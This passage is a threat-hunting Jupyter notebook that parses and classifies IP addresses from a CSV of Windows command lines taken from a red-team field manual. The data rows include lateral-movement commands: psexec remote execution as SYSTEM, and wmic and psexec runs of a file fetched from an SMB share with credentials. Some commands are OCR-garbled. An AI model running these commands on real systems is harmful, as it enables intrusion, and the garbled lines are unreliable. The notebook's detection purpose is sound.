threat-hunting-with-ipaddress-from-logs-Public.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<h1 style=\"font-size:34px; text-align:center;margin-bottom:30px;\"><span style=\"color:SteelBlue\">Threat Hunting with IP address Data from Logs</span></h1>\n",
    "\n",
    "Below notebook outlines parsing IP address from a given log file and doing follow-up investigation on it. \n",
    "<br>The Log file source is currently local csv file , but it can be customized to any log data sources/SIEM solutions who provides python API to connect and load the data to make it as dataframe.\n",
    "\n",
    "<br><hr id=\"toc\">\n",
    "### Table of Contents\n",
    "* [1.Problem Statement](#l1)\n",
    "* [2.Dataset Information](#l2)\n",
    "* [3.Data Wrangling](#l3)    \n",
    ">    * [3.1 Data Loading](#l3.1)\n",
    ">    * [3.2 Data Preparation](#l3.2)\n",
    ">    * [3.3 IP Whois Lookups](#l3.3)\n",
    "* [4.Data Analysis](#l4)\n",
    ">    * [4.1 Unique executables from the dataset](#l4.1)\n",
    ">    * [4.2 How many executables seen IP as argument ?](#l4.2)\n",
    ">    * [4.3 How many executable have Private and PublilcIP as argument ?](#l4.3)\n",
    ">    * [4.4 Which top 5 executable have PublilcIP as argument ?](#l4.4)\n",
    ">    * [4.5 What are the top 5 Public IP Addresses in the dataset ?](#l4.5)\n",
    ">    * [4.6 What are the top 5 countries in the dataset ?](#l4.6)\n",
    "* [5.Data Visualization](#l5) \n",
    ">    * [5.1 Bar Chart of IPType](#l5.1)\n",
    ">    * [4.2 How many executables seen IP as argument ?](#l4.2)\n",
    ">    * [4.3 How many executable have Private and PublilcIP as argument ?](#l4.3)\n",
    ">    * [4.4 Which top 5 executable have PublilcIP as argument ?](#l4.4)\n",
    ">    * [4.5 What are the top 5 Public IP Addresses in the dataset ?](#l4.5)\n",
    "* [6.Further Enhancements](#l6) \n",
    ">    * [6.1 Alternative approaches to IP Address Lookup at Scale](#l6.1)\n",
    ">    * [6.2 IP reputation lookup/ThreatIntel Feeds Lookup](#l6.2)\n",
    ">    * [6.3 Interactive visualization libraries](#l6.2)\n",
    "* [7.Conclusion](#l7) \n",
    "     \n",
    "<br><hr>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l1\">\n",
    "\n",
    "# 1.Problem Statement\n",
    "\n",
    "As an analyst, we encounter various log files containing ip addresses which need to be parsed often via regex and conduct separate investigation after extracting. \n",
    "<br>This notebook takes an example of 4688 with command line logs and parses ip addresses from it. Additionally it uses python libraries to categorize it as private, public and others. \n",
    "<br>After extraction and categorization, it further does whois lookup to populate geo-location information. \n",
    "<br>Analyst can use this enriched dataset to do further hunting queries as demonstrated in sample queries. \n",
    "\n",
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l2\">\n",
    "\n",
    "# 2.Dataset Information\n",
    "<br>Dataset is retrieved/compiled primarily from book Red team field manual book. \n",
    "<br>This book is compilation of several red team techniques with command line tools. It also encapsulates unique use cases for powerful tools such as Python and windows powershell.\n",
    "<br> All of the command line tools along with command line text related to windows are extracted in a csv spreadsheet. The spreadsheet was also manually enhanced with exename, description and category based on the book. \n",
    "<br>In order to extend the dataset for more IP addresses, the executables accepting general IP address as argument have been replaced by actual IP address values , also replacing the common IP addresses such as 1.1.1.1/2.2.2.2 with other dummy values.\n",
    "\n",
    "<br> The log data source is currenly .csv file within the same directory of notebook with name ```rtfm-windows.csv```\n",
    "\n",
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l3\">\n",
    "\n",
    "# 3.Data Preparation\n",
    "\n",
    "<br id=\"l3.1\">\n",
    "\n",
    "## 3.1 Data Wrangling :"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [],
   "source": [
    "#Load Libraries - Add to this list as we extend code.\n",
    "%matplotlib inline\n",
    "\n",
    "import re\n",
    "import matplotlib\n",
    "import pandas as pd\n",
    "import numpy as np\n",
    "import ipaddress as ip\n",
    "import urllib.request\n",
    "import json\n",
    "import matplotlib.pyplot as plt\n",
    "import warnings\n",
    "warnings.filterwarnings('ignore')\n",
    "\n",
    "ipstack_access_key='<insert your ipstack access key here>'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Exename</th>\n",
       "      <th>commandline</th>\n",
       "      <th>description</th>\n",
       "      <th>category</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>arp.exe</td>\n",
       "      <td>arp -a</td>\n",
       "      <td>Known MACs (ARP table I</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\10.0.0.100 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\10.0.0.100 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>dir.exe</td>\n",
       "      <td>dir /a /b c:\\windows\\kb</td>\n",
       "      <td>Search for patches</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>dir.exe</td>\n",
       "      <td>dir /a /s /b c:\\ .pdf</td>\n",
       "      <td>Search for all PDFs</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "   Exename  \\\n",
       "0  arp.exe   \n",
       "1  at.exe    \n",
       "2  at.exe    \n",
       "3  dir.exe   \n",
       "4  dir.exe   \n",
       "\n",
       "                                                                                       commandline  \\\n",
       "0  arp -a                                                                                            \n",
       "1  at \\\\10.0.0.100 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                             \n",
       "2  at \\\\10.0.0.100 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"    \n",
       "3  dir /a /b c:\\windows\\kb                                                                           \n",
       "4  dir /a /s /b c:\\ .pdf                                                                             \n",
       "\n",
       "                                            description            category  \n",
       "0  Known MACs (ARP table I                               NETWORK INFO        \n",
       "1  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL          \n",
       "2  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL          \n",
       "3  Search for patches                                    WINDOWS SYSTEMINFO  \n",
       "4  Search for all PDFs                                   WINDOWS SYSTEMINFO  "
      ]
     },
     "execution_count": 9,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "\"\"\"Set data home directory and load local csv file\"\"\"\n",
    "DATA_HOME = './rawdata/'\n",
    "df_orig = pd.read_csv(DATA_HOME + 'rtfm-windows.csv')\n",
    "pd.set_option('display.max_colwidth', -1) #set styling option so that it doesnt strip column text while displaying\n",
    "#print the first 5 records\n",
    "df_orig.head(5)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<class 'pandas.core.frame.DataFrame'>\n",
      "RangeIndex: 271 entries, 0 to 270\n",
      "Data columns (total 4 columns):\n",
      "Exename        271 non-null object\n",
      "commandline    271 non-null object\n",
      "description    271 non-null object\n",
      "category       271 non-null object\n",
      "dtypes: object(4)\n",
      "memory usage: 8.5+ KB\n"
     ]
    }
   ],
   "source": [
    "#Display dataframe Info\n",
    "df_orig.info()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l3.2\">\n",
    "\n",
    "## 3.2 Data Preparation : \n",
    "<br>Populate new columns/features based on IP Address field value using helper functions ```ip_matcher``` , ```ip_parser``` and ```ip_type```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [],
   "source": [
    "def ip_matcher(string):\n",
    "    \"\"\" function to match if string contains IP address to populate binary return value \"\"\"\n",
    "    ip = re.findall(\n",
    "        '(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)', string)\n",
    "    if ip:\n",
    "        return 1\n",
    "    else:\n",
    "        return 0\n",
    "    \n",
    "\n",
    "def ip_parser(string):\n",
    "    \"\"\" function to extract IP address from the given string to populate new column with parsed ip address     \"\"\"\n",
    "    ip = re.findall(\n",
    "        '(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)', string)\n",
    "    if ip:\n",
    "        return re.findall(\n",
    "        '(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)', string)\n",
    "    else:\n",
    "        return 'N.A.'\n",
    "    \n",
    "\n",
    "def ip_type(string):\n",
    "    \"\"\" function to populate IPType category(e.g. Private/Public/Multicast)\"\"\"\n",
    "    if ip.ip_address(string).is_private:\n",
    "        return 'Private'\n",
    "    elif ip.ip_address(string).is_multicast:\n",
    "        return 'Multicast'\n",
    "    elif ip.ip_address(string).is_unspecified:\n",
    "        return 'Unspecified'\n",
    "    elif ip.ip_address(string).is_reserved:\n",
    "        return 'Reserved'\n",
    "    elif ip.ip_address(string).is_loopback:\n",
    "        return 'Loopback'\n",
    "    elif ip.ip_address(string).is_global:\n",
    "        return 'Public'\n",
    "    elif ip.ip_address(string).is_link_local:\n",
    "        return 'Link Local'\n",
    "    else:\n",
    "        return 'Unknown'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Exename</th>\n",
       "      <th>commandline</th>\n",
       "      <th>description</th>\n",
       "      <th>category</th>\n",
       "      <th>HasIP</th>\n",
       "      <th>IPAddress</th>\n",
       "      <th>IPType</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\10.0.0.100 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>10.0.0.100</td>\n",
       "      <td>Private</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\10.0.0.100 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>10.0.0.100</td>\n",
       "      <td>Private</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>28</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net share \\\\ 10.0.0.100</td>\n",
       "      <td>Shares of remote computer</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>10.0.0.100</td>\n",
       "      <td>Private</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>30</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net time \\\\10.0.0.100</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>10.0.0.100</td>\n",
       "      <td>Private</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>31</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use \\\\ 10.0.0.100</td>\n",
       "      <td>Remote filesystem (IPC$)</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>10.0.0.100</td>\n",
       "      <td>Private</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "    Exename  \\\n",
       "1   at.exe    \n",
       "2   at.exe    \n",
       "28  net.exe   \n",
       "30  net.exe   \n",
       "31  net.exe   \n",
       "\n",
       "                                                                                        commandline  \\\n",
       "1   at \\\\10.0.0.100 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                             \n",
       "2   at \\\\10.0.0.100 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"    \n",
       "28  net share \\\\ 10.0.0.100                                                                           \n",
       "30  net time \\\\10.0.0.100                                                                             \n",
       "31  net use \\\\ 10.0.0.100                                                                             \n",
       "\n",
       "                                             description          category  \\\n",
       "1   TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL         \n",
       "2   TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL         \n",
       "28  Shares of remote computer                             WINDOWS REMOTING   \n",
       "30  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL         \n",
       "31  Remote filesystem (IPC$)                              WINDOWS REMOTING   \n",
       "\n",
       "    HasIP   IPAddress   IPType  \n",
       "1   1      10.0.0.100  Private  \n",
       "2   1      10.0.0.100  Private  \n",
       "28  1      10.0.0.100  Private  \n",
       "30  1      10.0.0.100  Private  \n",
       "31  1      10.0.0.100  Private  "
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "\"\"\"Populate Additional Columns/Features based on IP Address Value\"\"\"\n",
    "df_orig['HasIP'] = df_orig['commandline'].apply(ip_matcher)\n",
    "df_orig['IPAddress'] = df_orig['commandline'].apply(ip_parser).apply(', '.join)\n",
    "\n",
    "#Boolean creation to filter out only command lines containing IP Address\n",
    "is_ip=df_orig['HasIP']==1\n",
    "\n",
    "df_ip_filtered= df_orig[is_ip]\n",
    "#df_HasIP['IPAddress'] = df_HasIP['IPAddress'].apply(', '.join)\n",
    "df_ip_filtered['IPType'] = df_ip_filtered['IPAddress'].apply(ip_type)\n",
    "#Display top 5 records of new filtered dataframe\n",
    "df_ip_filtered.head(5)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Exename</th>\n",
       "      <th>commandline</th>\n",
       "      <th>description</th>\n",
       "      <th>category</th>\n",
       "      <th>HasIP</th>\n",
       "      <th>IPAddress</th>\n",
       "      <th>IPType</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1</td>\n",
       "      <td>remove port forwarding</td>\n",
       "      <td>MISC. COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>powershell.exe</td>\n",
       "      <td>New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i</td>\n",
       "      <td>PERSISTENT PSDRIVE TO REMOTE FILE SHARE</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe</td>\n",
       "      <td>RUN REMOTE COMMAND AS SYSTEM</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 76.76.163.112 -u Domain\\user -p Lt1 C:\\Progr-1</td>\n",
       "      <td>RUN REMOTE COMMAND WITH SPECIFIED HASH</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 76.76.163.112 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe</td>\n",
       "      <td>EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>reg.exe</td>\n",
       "      <td>reg add \\\\ 64.119.205.26 \\ regkej \\ value</td>\n",
       "      <td>Add registry key remotely</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>64.119.205.26</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>wmic.exe</td>\n",
       "      <td>wmic /node: 64.119.205.26 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"</td>\n",
       "      <td>Execute file hosted over SMB on remote system with specified credentials</td>\n",
       "      <td>WMIC COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>64.119.205.26</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>xcopy.exe</td>\n",
       "      <td>xcopy /s \\\\ 64.119.205.26 \\dir C:\\local</td>\n",
       "      <td>Copy remote folder</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>64.119.205.26</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net time \\\\190.197.26.39</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use \\\\ 190.197.26.39</td>\n",
       "      <td>Remote filesystem (IPC$)</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>12</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use z: \\\\ 190.197.26.39 \\share password</td>\n",
       "      <td>Map drive specified</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>13</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface 190.197.26.39 set address local dhcp</td>\n",
       "      <td>Set interface to use DHCP</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface 190.197.26.39 show interfaces</td>\n",
       "      <td>List interface IDs/MTUs</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>15</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 190.197.26.39 -s cmd.exe</td>\n",
       "      <td>RUN REMOTE COMMAND AS SYSTEM</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>16</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 190.197.26.39 -u Domain\\user -p Lt1 C:\\Progr-1</td>\n",
       "      <td>RUN REMOTE COMMAND WITH SPECIFIED HASH</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>17</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 190.197.26.39 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe</td>\n",
       "      <td>EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>190.197.26.39</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>18</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 61.6.206.57 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>61.6.206.57</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>19</th>\n",
       "      <td>tftp.exe</td>\n",
       "      <td>tftp -I 61.6.206.57 GET remotefile</td>\n",
       "      <td>TFTP file transfer</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>61.6.206.57</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>20</th>\n",
       "      <td>wmic.exe</td>\n",
       "      <td>wmic /node: 61.6.206.57 /user:domain\\user /password:password process call create \"\\\\smbiP\\share\\evil.exe\"</td>\n",
       "      <td>Execute file hosted over SMB on remote system with specified credentials</td>\n",
       "      <td>WMIC COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>61.6.206.57</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>21</th>\n",
       "      <td>xcopy.exe</td>\n",
       "      <td>xcopy /s \\\\ 61.6.206.57 \\dir C:\\local</td>\n",
       "      <td>Copy remote folder</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>61.6.206.57</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>22</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net time \\\\154.66.173.171</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>154.66.173.171</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>23</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use \\\\ 154.66.173.171</td>\n",
       "      <td>Remote filesystem (IPC$)</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>154.66.173.171</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>24</th>\n",
       "      <td>net.exe</td>\n",
       "      <td>net use z: \\\\ 154.66.173.171 \\share password</td>\n",
       "      <td>Map drive specified</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>154.66.173.171</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>25</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface 154.66.173.171 set address local dhcp</td>\n",
       "      <td>Set interface to use DHCP</td>\n",
       "      <td>NETWORK INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>154.66.173.171</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>26</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 154.66.173.171 -u domain\\user -p password -c -f \\\\ smbiP \\share\\file.exe</td>\n",
       "      <td>EXECUTE FILE HOSTED ON REMOTE SYSTEM WITH SPECIFIED CREDENTIALS</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>154.66.173.171</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>27</th>\n",
       "      <td>reg.exe</td>\n",
       "      <td>reg add \\\\ 208.168.243.90 \\ regkej \\ value</td>\n",
       "      <td>Add registry key remotely</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>208.168.243.90</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>28</th>\n",
       "      <td>systeminfo.exe</td>\n",
       "      <td>systeminfo /S 208.168.243.90 /U domain\\user /P Pwd</td>\n",
       "      <td>Remote systeminfo</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>208.168.243.90</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>29</th>\n",
       "      <td>tasklist.exe</td>\n",
       "      <td>tasklist /S 208.168.243.90 /v</td>\n",
       "      <td>Remote process listing</td>\n",
       "      <td>WINDOWS SYSTEMINFO</td>\n",
       "      <td>1</td>\n",
       "      <td>208.168.243.90</td>\n",
       "      <td>Public</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>...</th>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>133</th>\n",
       "      <td>systeminfo.exe</td>\n",
       "      <td>systeminfo /S 45.248.64.126 /U domain\\user /P Pwd</td>\n",
       "      <td>Remote systeminfo</td>\n",
       "      <td>WINDOWS REMOTING</td>\n",
       "      <td>1</td>\n",
